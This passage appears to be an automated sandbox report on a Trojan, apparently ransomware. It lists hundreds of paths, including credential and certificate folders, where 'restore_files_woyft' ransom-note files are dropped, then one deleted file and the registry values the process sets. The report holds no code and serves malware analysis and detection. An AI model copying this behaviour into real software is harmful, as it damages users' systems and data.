%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12624 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\brndlog.txt (436 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (1157 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
C:\totalcmd\REGISTER.RTF (421 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel4.xls (419 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (15 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (1181 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\ip[1].htm (0 bytes)

Registry activity

The process %original file name%.exe:1616 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 76 DC 8F 36 D0 70 86 1F F9 53 44 1D C6 6D D8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

